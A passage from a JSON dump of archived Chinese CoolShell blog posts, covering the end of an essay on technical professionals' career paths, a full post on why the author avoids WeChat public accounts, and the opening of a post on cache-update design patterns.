】</strong></p>\n<ul>\n<li>要达到这样的特质，需要找到自己的长处、以及适合自己的环境。就像鱼的特长是呆在水里，让鱼儿去追求陆上动物的刺激生活并不靠谱。</li>\n</ul>\n<ul>\n<li>一般说来，有这样的潜质的人，在学校中就应该要出现。如果你在大学中还没有出现这样的潜质，那么，你在工作当中要加倍努力了（注：所谓的加倍努力，不是让你使蛮力加班，而是让你多学习成长，使蛮力拼命是弥补不了能力、思维、眼界上的缺陷的）。</li>\n</ul>\n<ul>\n<li>Leadership也有范围的，比如，身边的朋友，工作中的团队/部分，圈内，整个行业。Leadership的范围越大，你的个人发展的选择性就越高。反之则越小。</li>\n</ul>\n<ul>\n<li>如果已到了30岁左右，还是没有出现这样的特征。那么，可能未来你也很难有这样的Leadership了。而你的个人发展的可能性可能也就不多了（sigh…）</li>\n</ul>\n<p><strong>读到这里，我必需要说一下，如果你已开始显现出你的Leadership，那么你才谈得上个人发展，这篇文章后续的内容也可能才会对你有意义</strong>。</p>\n<h4>个人发展的三个方向</h4>\n<p>以我个人短浅的经历和视野，目前只看到的人的发展有如下三个大方向（他们之间可能会有重叠）：</p>\n<p style=\"padding-left: 30px;\">1）<strong>在职场中打拼</strong></p>\n<p style=\"padding-left: 30px;\">2）<strong>去经历有意义有价值的事</strong></p>\n<p style=\"padding-left: 30px;\">3）<strong>追求一种自由的生活</strong></p>\n<p>这三个方向，我个人或多或少都体验过，我也见过身边的很多人走这三个方向走的比较成功。也许还有别的方向，没办法，现在，我的视野就这么大，所以，我在这里，我主要就是谈谈这三个方向。Again，<strong>人有资格去走这三个方向的前提是——已有了上面我说的Leadership那种特质！</strong></p>\n<h4>一、在职场中发展</h4>\n<p>在职场中发展应该是绝大多数人的选择。通过加入公司来达到人生的发展。</p>\n<p>我们经常可以看到很多所谓的“职业规划”，但是大多数职业规划只不过人力资源搞出来的东西，和实际其实是有很大出入的。我的人生经历中，有18年左右是在公司中度过的，在过银行，小公司，大公司，民营公司，外国公司，传统IT公司，互联网公司，不同的公司完全有不同的玩法和文化，我的经历还算丰富，但也不算特别成功，这里只分享一些我在职场中的心得（不一定对，仅供参考）。</p>\n<h5>1、去顶尖公司</h5>\n<p><strong>去顶尖公司的一个目的就是让你的Leadership的范围的可能性扩大</strong>。</p>\n<p>因为公司和公司的差距也不小，所以，就算你在低端公司里是骨干份子，但在高端公司里可能只是一个普通员工（就像中国足球队的主力到了英超可能都无法入选）。所以，在职场中，如果你要让你的个人价值最大化的话，你一定要去顶尖的公司。因为顶尖公司里有非常不错的工作方法和场景，这并不是能看书或是交流得来的，这是必需要去亲身体验的。所以说，在顶尖公司掌握的技能，开阔的眼界，通常来说都会比低端公司的要多得多。</p>\n<p>另外，每个公司的工作级别都是有相互对标的，比如：阿里的P几对应于百度的T几。国内的一线公司职位还相当，但是如果和国外一线公司的比，那就有差距了，而且差距还很大。比如，Google或Facebook的某个高级工程师，可能就对应于阿里的P8/P9甚至更高。</p>\n<p>是的，对于职场来说，如果你在顶尖公司是骨干，那么，你去低端公司，则有很大机会会成为他们高管和核心。就好像你在Facebook里干三五年成为他们的技术骨干，那么你到BAT去成成为高管概率是非常大的。反过来，如果你毕业主去了BAT成为了一个螺丝钉，在天天加班中度过你的青春，你干个十年能成为BAT的高管的概率可能会非常的低。</p>\n<h5>2、去真正的创业公司</h5>\n<p>去顶尖公司和去创业公司在某些时候并不冲突。不过，这里我想讲的是，一个技术能力强的人在大公司可能会被埋没掉。因为大公司业务成功后，</p>\n<ul>\n<li>成功的公司在招聘各种高级技术人才都不会成为问题，于是少你一个不少，多你一个不多。</li>\n</ul>\n<ul>\n<li>成功的公司其整个技术体系已经完成，Legacy的问题也比较多，所以，可以供你发挥的余地不大。</li>\n</ul>\n<ul>\n<li>成功的公司更多的可能会想要稳定的系统，稳定必然会产生保守，而保守则产生不思进取。</li>\n</ul>\n<p>所以，对于中高级人才来说，在大公司里的能产生的个人价值，可能远远不如那些求贤若渴、没有包袱、可以尽情施展、相对更为灵活和自由的创业型公司。</p>\n<p>不过，去创业公司需要小心仔细的挑选和评估，创业公司的不确定因素很多，也和创始人的因素太大了，所以，你需要小心了解创始人和他们的业务情况，想法和理念差不多才能更好的共事。</p>\n<p>好多创业公司其实并不是真正的创业公司，他们创业有很大的侥幸和驱利心理，要小心甄别。因为那不是真正的创业公司。</p>\n<h5>3、职业生涯的发展阶段</h5>\n<p>首先，有一个不争事实——<strong>整个社会是会把最重要的工作交给30岁左右的这群人的。也就是说，30岁左右这群人是这个社会的做事的中坚力量。</strong></p>\n<p>所以，这是一个机遇！如果你有了Leadership，你就一定能在这个时间段内赶得上这个机遇——公司和领导对你寄于信任和厚望，并把重要的团队和工作交给你。</p>\n<p>于是，你的30岁到40岁就成了一个职业生涯的发展期，也就是你的事业上升期。如果你到40岁都没有赶上，那么你的职业生涯也就这样了，老有所成的人是少数。</p>\n<p>在你事业的上升期，你需要更多的软技能，比如：</p>\n<ul>\n<li>带领产品和业务的发展的能力</li>\n<li>推行自己喜欢的文化的能力</li>\n<li>项目管理的能力——在任务重、时间紧中求全</li>\n<li>沟通和说服别人的能力</li>\n<li>解决冲突的能力</li>\n<li>管理和发展团队的能力</li>\n<li>解决突发事件的应急能力</li>\n<li>…… ……</li>\n</ul>\n<p>另外，你还要明白在职场里的几个冷酷的事实：</p>\n<ul>\n<li><strong>你开始要关心并处理复杂的人事</strong>。尤其在大公司，大量的人都是屁股决定脑袋，利益关系复杂，目标不一致，每个人心里都有不一样的想法。这个时候再也不是talk is cheap, show me the code！而是，code is cheap，talk is the matter。你需要花大量的时间去思考和观察形形色色的人。需要耗费大量的精力在不同的人之间周旋，而不是花时间去创造些什么有价值的东西。</li>\n</ul>\n<ul>\n<li><strong>你要开始学会使用各种政治手段</strong>。办公室政治不可避免，越大的公司越重，自从你开始成为一线的leader的那一天起，你就开始成为“里外不是人”的角色，需要在下属和领导，员工和公司之间周旋。随而你的级别越来越高，你需要使用更多的政治手段，你会学会审时度世的站队，学会迎合员工和领导，学会用官员的语言说话，学会此一时彼一时，学会妥协和交换，学会忍气吞声，学会在在适当的时机表现自己，学会波澜不惊，学会把自己隐藏起来，甚至你还会迷失自我，开始学会一些厚黑学，比如不得不在适当的时机在背后捅人刀子……你可能会成为一个你自己都讨厌的人</li>\n</ul>\n<p>听上去真的好无聊，所以，你现在也明白为什么高层们都看上去很忙很累，而且抽不出时间来关心细节问题，因为，他们更多的是要协调整个组织和系统来运转，甚至还要四处周旋，各种博弈，没办法，这是职场的必需的东西！听起来是不是感觉人类很愚蠢？这真是没办法的事。如果你不想或是也没有能力玩这些东西，那么你需要去那些可以让技术人员安安心心做技术的公司。这类的公司，我见过Microsoft、Google、Amazon或是一些创业公司里都有。国内的大公司中也有让技术人员成长的职业成长线，但老实说，表面上看似是一个让人专心做技术的升职成长线，但其实还是管理岗位。</p>\n<p>所以，<strong>技术人员在职场中的归宿有两条路 —— 到真正的技术公司成为一个专心做技术的人，或是在成为一个职业的经理人</strong>。</p>\n<p> </p>\n<h4>二、追求人生的经历</h4>\n<p>先说三个故事，</p>\n<ul>\n<li>第一个，是在阿里的时候，有一天在内网里看到一个贴子，一个做产品的女孩说自己准备离职要去法国学烘培厨艺，引得大家热评。</li>\n</ul>\n<ul>\n<li>第二个，是在亚马逊的美国老板，他每年都要去报个培训班学一个技能，比如：厨艺、开双翼飞机、夜总会里的DJ……、甚至去华盛顿去学当一个政客。</li>\n</ul>\n<ul>\n<li>第三个，是在汤森路透工作时，一个英国的同事，有一天他说他离职了，和自己的老婆准备用余生去周游世界，我问他是不是有足够多的钱了？他和我说，钱不够，他俩口子的计划是，边旅游边打工，打工打够到下一站的钱就走。他还说，那种用假期去另一个城市的旅游太没意思了，如果你不在那个地方生活上一段时间 ，你怎么能算是好的旅游体验呢？好吧，无法反驳。</li>\n</ul>\n<p>我是觉得他们把自己的人生过得如此有意思，令我很佩服。虽然跨界跨得有点猛，但是 Why Not？</p>\n<p>在这里，我想说，去追求一种和众人不一样的人生经历也是一件挺好的事，我个人感觉，比起在职场里有趣地多多了。如果你厌倦了职场，其实为什么不去追求一下不同的人生经历呢。就算你不想去追求跨度比较大的人生经历，那么，在技术圈里，也有很多有价值有意思的经历也可以去的。<strong>追求刺激有意义的与众不同的经历的人，其实也能算是一种人生的成功，不是吗？</strong></p>\n<p>如果只说技术方面，我个人看到的去追求经历的人，有两种追求的人其实也很成功的：</p>\n<ul>\n<li><strong>到技术创新的发源地去经历创新</strong>。计算机互联网各种技术的创新引擎，基本上来说，就是在美国了。我们赶上了这个时代，也选对了这个时代最火热的行业，那么，有什么理由不去这个时代的技术发动机那里去经历呢？在美国硅谷湾区，无论是大公司，还是创业公司，都在迸发着各式各样的创新，如果有能力有机会，为什么不努力去经历一下呢？不经历一下，老了不会觉得错过了是一种后悔吗？</li>\n</ul>\n<ul>\n<li><strong>去经历下一个热点技术的发展</strong>。从IT，到互联网、再到移动互联网、云计算、大数据，再到未来的AI，VR，IoT……，技术创新的浪潮一波接一波的过来，你是想在那继续搬砖搬下去，是想迎浪而上去经历浪潮，还是想成为一个随波逐流的人？</li>\n</ul>\n<p>打工也好，创业也好，在国内也好，在国外也好，这些都是形式，不是内容。内容则是你有没有和有想法的人去经历有意义有价值事？人生苦短，白驹过隙，我们技术人员最大的幸运就是生在这样一个刺激的时代，那么，你还有什么理由不去追逐这些前沿刺激的经历呢？</p>\n<h4>三、追求自由的生活</h4>\n<p>我相信“自由”这个事，是所有人的心中都会想去追求的。“生命诚可贵，爱情价更高，…… ”（哈哈）</p>\n<p>但一说起自由，绝大多数人都想到的是“财富自由”或是“财务自由”，其实，并不完全是这样的，在自由的通路上，我个人的经历告诉我，其实，你会有很多的不同类型的自由。下面，是我对几个层次的“自由”的理解。</p>\n<p><strong>第一层自由——工作自由</strong>。人的第一层自由的境界是——“工作自由”，我到不是说你在工作单位上可以很自由，虽然有特例，但并不普遍。我想说的“工作自由”是——你不会有失业危机感了。也就是说，你成了各个公司的抢手货，你不但不愁找不到工作，而且你是完全不愁找不到好工作。试想一下，如果是工作来找你，一方面，你就有真正意义上的工作选择权了，另一方面，你都不愁工作了，你完全就可以随时离职去干你想干的事了。此时，你就达到了“工作自由”。</p>\n<p><strong>第二层自由——技能自由</strong>。工作自由已是不错，不过前提是你还是需要依赖于别人提供的工作机会。而技能自由则是你可以用自己的技能养活自己，而不需要去公司里工作。也就是所谓的自由职业者了，社会上，这样的人也不少，比如，一些健身体育教练、设计师、翻译者、作者……这些都可以算是自由职业者，程序员这个职业中只要不是搬砖的，有想法的，就有可以成为自由积业者的潜质，想一想，你拥有的编程能力，其实是一种创造的能力，也就是创造力，只要你Make Something People Want（YC创业公司的slogan），你是完全可以通过自己的技能来养活自己的。如果你通过某些自动化的东西，或是你在App上做了一个软件个体户，让自己的收入不断，甚至你做了一个开源软件，社区每个月都给你捐款捐到比你打工挣的还多，那么你就真正的有了技能自由了。</p>\n<p><strong>第三层自由——物质自由。</strong>我把财务自由换了一种说法。我个人觉得，除了有个好爸爸之外这种特例的情况，如果你想有物质自由的话，本质上来说，你一定要学会投资，投资不一定是你的钱，时间也是一种财富，年轻更是，你怎么投资你的时间还有你的青春？你要把你的投资投到什么样的事，什么样的人？对于投资这个事，风险也比较大。但是，人生不敢冒险可能才是最大的冒险。这个世界有很多技术不是你能看书学来的，而要只能在实战中学会的，比如：游泳。投资可能也是一种。只有真正懂投资的人，或是运气非常好的人，才可能实现物质自由。</p>\n<p>追求自由的生活，其实也是个人发展道路上的一个不错的选择。通常来说，自由的人，能力都不差，钱也不会少。因为，他们懂得投资。</p>\n<p>也就是说，拥有追求自由能力的的人，</p>\n<ul>\n<li>不但有领导力和创造力（也可指导大多数人并走在大多数人前面）</li>\n<li>同时他还懂得怎么投资（知道时间和精力和金钱应该投在什么地方）</li>\n</ul>\n<p>（注：这里我没有提精神自由，老实说，精神上的自由我也不清楚是什么东西，因为我还没有见过，眼界有限，所以先按不表了，不然真成鸡汤文了）</p>\n<h4>总结</h4>\n<p>无论是在职场中打拼，还是追求精彩的经历，还是去实现自由，我觉得都是不错的个人发展的方向。</p>\n<p>他们都有重叠，比如：</p>\n<ul>\n<li>你可以在职场中去追求那些刺激的经历的公司。</li>\n<li>同样也可以通过加入有潜力高速发展的公司来达到自由。</li>\n<li>你也可以通过追寻不一样的经历来达到人生的自由。</li>\n<li>……</li>\n</ul>\n<p><strong>总之，这里的逻辑是——</strong></p>\n<ul>\n<li><strong>能够去规划自己的个人发展的人，通常都是有很多机会和可能性的人</strong>。</li>\n</ul>\n<ul>\n<li><strong>有很多机会和可能性的人，通常都是有Leadership，喜欢冒险的人。</strong></li>\n</ul>\n<ul>\n<li><strong>有Leadership喜欢冒险的人，通常都是学习能力强，思维活跃，喜欢折腾，懂得“投资”的人。</strong></li>\n</ul>\n<ul>\n<li><strong>学习能力强思维活跃的人，通常来说，都是喜欢看书，喜欢实践和新鲜事物，不怕艰难和挑战，用智力而不是使蛮力的人。</strong></li>\n</ul>\n<ul>\n<li><strong>懂得“投资”的人，通常来说，他们更多的关注的是未来和长远的成长，而不是当下的KPI、奖金和晋升。</strong></li>\n</ul>\n<p> </p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_17592\" style=\"width: 700px;\"><img alt=\"电影《飞屋环游记》\" class=\"size-full wp-image-17592\" height=\"322\" src=\"../wp-content/uploads/2016/12/up.jpg\" width=\"700\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-17592\"><center>插图来自电影《飞屋环游记》</center></figcaption></figure>\n<p style=\"text-align: center;\"><strong>最后祝大家新年快乐，来年大展鸿图。</strong></p>\n<p>（全文完）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8790.html\"><img alt=\"程序算法与人生选择\" height=\"150\" src=\"../wp-content/uploads/2012/12/choice-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6142.html\"><img alt=\"三个事和三个问题\" height=\"150\" src=\"../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3231.html\"><img alt=\"你和你的工作\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3231.html\">你和你的工作</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17583.html\">技术人员的发展之路</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-7-11 为什么我不在微信公众号上写文章.html",
    "content": "<html><body><p><img alt=\"Community\" class=\"alignright size-medium wp-image-17394\" height=\"161\" src=\"../wp-content/uploads/2016/07/Community-300x161.jpg\" width=\"300\"/>很多朋友问我为什么不在微信公众号上写文章。我都没有直接回答，老实说，我也是扭扭捏捏的，才去开了个个人的微信的公众号，而且还只是为了使用微服小程序，和文章的发布通知，我承认现在的阅读都在移动端，而且微信的公众号是国内移动端的文章流量及分享的入口，但是我还是更愿意使用blog这样的方式分享文章，最多也是在blog这边写好文章后，再去微信公众号那边通知一下。这个原因，不是因为我是一个老顽固，有习惯思维，而是，我不觉得微信公众号是一个好的信息传播和交流的平台。</p>\n<p><strong>我下面的言论仅仅代表我的个人观点，我不想强加给别人，我只是想说明一下为什么我不把我的blog迁移到微信公众号上。</strong></p>\n<p>首先，互联网是开放和共享的，不是封闭的。信息的传播更是需要开放的，大家可以看看<a href=\"https://coolshell.cn/articles/11928.html\" rel=\"noopener noreferrer\" target=\"_blank\">互联网之子</a>。</p>\n<ul>\n<li>我希望我的文章能够被rss feed到各种阅读器中。</li>\n<li>我希望我的文章能有更长的生命周期，长到十几年前的文章都会有人来读。</li>\n<li>我希望我的文章可以被搜索引擎所检索到。</li>\n<li>我希望我的文章能被别人整理，与其它人的文章放在一起互补并引用。</li>\n<li>我希望我的文章能被修改，因为文章会有错误，也会需要时常更新。</li>\n</ul>\n<p>然而，微信公众号都不能很好的支持。我希望我的文章能成为生态圈的里的一部份。所谓生态圈是相互融合，不是唯我独尊。这个和做开源软件的道理一样，开源软件不是把源代码开出来就好了，而是要去和已有的其它软件互相融合，互相兼容，互相支持，这本就是软件设计的真谛（参看《UNIX编程艺术》）。所以，我想，写文章也一样。</p>\n<p>下面是我觉得文章传播的姿势。</p>\n<p><span id=\"more-17391\"></span></p>\n<h4>文章传播的姿势</h4>\n<p><strong>我希望我的文章是被检索的，这意味着，就算文章写过了好多年，它依然可以被检索到，而不是在社交圈上被大众转了3-4天后就完了，然后再也没有然后了</strong>。</p>\n<p style=\"padding-left: 30px;\">今天，我十多年前写的文章依然可以被检索到，依然对后来的新人有帮助。因为我的文章被搜索引擎检索了，我的文章被转载fork出去了，被人引用和标注，所以，可以长期被传播。</p>\n<p style=\"padding-left: 30px;\">今天的酷壳（CoolShell.cn）已经很长时间没有更新了，然而里面的很多文章依然在被转发着，在被搜索着，在被重复阅读和被人推荐着，文章不断的被后来的人阅读。这就是被检索被共享被转载的好处。</p>\n<p>同时，我并不希望成为某个平台写文章的苦力。在微信公众号下，你需要不断的更新才会积累起人气（订阅者），而文章的保鲜期非常有限，因为不能被检索，所以，你写的越多，你过去的文章也会被遗忘的越快。<strong>而微信公众平台让能写文章的人好像成为了这个平台的一个写作的奴隶，而不是让他们的文章中的内容和观点可以有长时间的影响力</strong>。换言之，在社交网络上，如果你要有影响力，你就要使劲写，需要更多的粉丝和订阅者。我个人认为这是违反了信息传播规律的。</p>\n<p><strong>最重要的是，我希望我的文章和观点是有讨论的，希望我的文章能被指正和批评，最好是引发讨论和思辨</strong>，这样才会让我们每一个人都可以在交流中成长。<strong>很多时候，文章本身并没有什么太大的价值，而引发的讨论和思辨才更有价值，这是我认为文章传播最正确的姿势。而微信的公众号在讨论方面人为的阻止或大大消弱了大家的沟通和讨论（尤其是精选评论）</strong>。虽然我承认有些讨论也是无效的，而且还有漫骂和跑题，但是我依然觉得百花齐放的讨论的利大于弊。</p>\n<p>我私以为，<strong>信息的传播正确姿势，是被检索、讨论、引用、整理、补充和更新，而不是社交网络的转发、点赞、粉丝、订阅和打赏</strong>。</p>\n<p>换句话说，<strong>我关注的是的文章的长期价值，而不是短期的表象</strong>。</p>\n<h4>关于文章的版权</h4>\n<p>很多人认为，封闭的平台有个比开放平台天然的优势，就是盗版和抄袭的问题，可以通过平台举报和惩罚对方。我以前也受到一些被抄袭和盗用的困扰，还曾经拿起来法律的武器维护自己的权利。</p>\n<p>可能是我经历这样的事情比较早，所以，我今天在这个问题上不纠结了。</p>\n<p style=\"padding-left: 30px;\">1、好的有价值的文章总是被人盗用抄袭的，这也算是对作者的一种认可吧。</p>\n<p style=\"padding-left: 30px;\">2、我从来没有见过有人靠抄袭和盗用别人文章而成功的，无非就是收获几个赞罢了。</p>\n<p style=\"padding-left: 30px;\">3、原创文章被人过抄袭和盗用，反而容易得到更多的关注。</p>\n<p><strong>微信公众号的原创保护也只是局限在微信上，微信之外的平台，它也无能为力，所以，对于我的文章会被转到很多地方的这种情况来看，微信公众号的原创保护也非常有限。</strong></p>\n<p>现在，我倒是不纠结有人会盗用和抄袭我的文章，因为，一方面，你可以有一些小伎俩来保护你的文章，比如在文章内容中放入一些你自己特有的标识，另一方面，我的文章被人盗用了抄袭的时候，总有一些网友能在盗用者那边指出来原文章是什么，并批评之。<strong>所以，还是应该把主要精力放在文章的内容和质量上，并让文章可以被检索和被更多的地方所引用，这样，你的文章才会得到最大的保护</strong>。</p>\n<p>另外，<strong>既然别人对我的文章有抄袭和盗用的需求，要不我就让别人干得更体面一些。所以，我的文章完全可以自由的转载，但不得用于商业目的，只需要注明作者和出处就好了</strong>。</p>\n<p> </p>\n<h4>关于写文章挣钱</h4>\n<p>首先，如果你觉得在微信公众号上写技术文章是可以挣钱的，那么恐怕你搞错了，营销文是可以的，技术文章还是比较难的。</p>\n<p>当然，你要挣点小钱是可以有的，但是，你需要写软文中植入广告，或是消费热点主题，比如前段时间的魏则西事件，有的公众号被打赏了一些钱。</p>\n<p>老实说，这对我来说完全无感，因为，我的逻辑是这样的：<strong>我觉得一个人有一定的影响力，其中有很大一部份原因来自他的独立性，如果我开始写软文了，相当于我把自己卖了</strong>。</p>\n<p>所以，我现在从来不通过写文章挣钱，因为我会写代码，我还是通过我的技能挣钱，通过给一些公司做咨询、培训、企业服务挣钱，老实说，靠自己的能力挣钱，比写文章挣钱挣得多多了，因为我觉得，<strong>像我写的这类的文章本来就是用来分享和传播的，不是用来挣钱的。写文章的目的是分享和影响，不是挣钱。</strong></p>\n<p>关于独立性，这里说两个花絮吧——</p>\n<p style=\"padding-left: 30px;\">我在Amazon的时候，我和公司讲，我想在我的博客上写几篇关于亚马逊的文章，介绍亚马逊的技术和一些做事的方法，也算是个宣传，让我的团队也好招人，但是，我当时的老板和我说，你的博客之所以有影响力是因为你的独立性，不要写亚马逊的，这样会把你自己卖了，千万别这么做。</p>\n<p style=\"padding-left: 30px;\">然而，我在Alibaba的时候，我的大老板要求我用我的博客和微博帮阿里云做营销，我非常委婉地拒绝了，结果，团队合作的价值观不达标了。呵呵。</p>\n<p>P.S. 本来酷壳上是不做广告的，今天，酷壳上也广告，但是广告费是全部捐给Wikipedia的，广告主的钱是没有到我的手的。</p>\n<p>微信公众号上的文章都有软文和广告植放，我觉得这不是我的调调，我害怕微信公众平台的整体格调影响了我的格调。就好像我认为我的网络被百度检索到了会我的网站的格调下降好几个档次。所以，我还是保持一定的距离吧。</p>\n<p><strong>这么说吧，我写文章不是为了挣钱，我也不认为写文章能挣到钱，我写文章就是为了分享和影响，我会借助社交网络，但不会寄宿在社交网络上，更不会被社交网络所绑架。</strong></p>\n<p>谢谢看我的唠叨！</p>\n<p>（全文完）</p>\n<p> </p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8422.html\"><img alt=\"TF-IDF模型的概率解释\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8422.html\">TF-IDF模型的概率解释</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8031.html\"><img alt=\"InfoQ的ArchSummit大会对我的采访\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1092.html\"><img alt=\"Top 200的全球开发者BLOG\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1092.html\">Top 200的全球开发者BLOG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1714.html\"><img alt=\"Firefox插件WebMail Notifier\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1714.html\">Firefox插件WebMail Notifier</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5426.html\"><img alt=\"简明 Vim 练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/09/rectangular-blocks-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5426.html\">简明 Vim 练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1889.html\"><img alt=\"SQL的Where语句\" height=\"150\" src=\"../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1889.html\">SQL的Where语句</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17391.html\">为什么我不在微信公众号上写文章</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-7-27 缓存更新的套路.html",
    "content": "<html><body><p><img alt=\"cache\" class=\"alignright size-medium wp-image-17422\" height=\"158\" src=\"../wp-content/uploads/2016/07/cache-300x158.png\" width=\"300\"/>看到好些人在写更新缓存数据代码时，<strong>先删除缓存，然后再更新数据库</strong>，而后续的操作会把数据再装载的缓存中。<strong>然而，这个是逻辑是错误的</strong>。试想，两个并发操作，一个是更新操作，另一个是查询操作，更新操作删除缓存后，查询操作没有命中缓存，先把老数据读出来后放到缓存中，然后更新操作更新了数据库。于是，在缓存中的数据还是老的数据，导致缓存中的数据是脏的，而且还一直这样脏下去了。</p>\n<p>我不知道为什么这么多人用的都是这个逻辑，当我在微博上发了这个贴以后，我发现好些人给了好多非常复杂和诡异的方案，所以，我想写这篇文章说一下几个缓存更新的Design Pattern（让我们多一些套路吧）。</p>\n<p>这里，我们先不讨论更新缓存和更新数据这两个事是一个事务的事，或是会有失败的可能，我们先假设更新数据库和更新缓存都可以成功的情况（我们先把成功的代码逻辑先写对）。</p>\n<p>更新缓存的的Design Pattern有四种：Cache aside, Read through, Write through, Write behind caching，我们下面一一来看一下这四种Pattern。</p>\n<p><span id=\"more-17416\"></span></p>\n<h4>Cache Aside Pattern</h4>\n<p>这是最常用最常用的pattern了。其具体逻辑如下：</p>\n<ul>\n<li><strong>失效</strong>：应用程序先从cache取数据，没有得到，则从数据库中取数据，成功后，放到缓存中。</li>\n</ul>\n<ul>\n<li><strong>命中</strong>：应用程序从cache中取数据，取到后返回。</li>\n</ul>\n<ul>\n<li><strong>更新</strong>：先把数据存到数据库中，成功后，再让缓存失效。</li>\n</ul>\n<p><img alt=\"Cache-Aside-Design-Pattern-Flow-Diagram\" class=\"aligncenter wp-image-17438 size-full\" height=\"188\" src=\"../wp-content/uploads/2016/07/Cache-Aside-Design-Pattern-Flow-Diagram-e1470471723210.png\" width=\"600\"/></p>\n<p><img alt=\"Updating-Data-using-the-Cache-Aside-Pattern-Flow-Diagram-1\" class=\"aligncenter wp-image-17437 size-full\" height=\"186\" src=\"../wp-content/uploads/2016/07/Updating-Data-using-the-Cache-Aside-Pattern-Flow-Diagram-1-e1470471761402.png\" 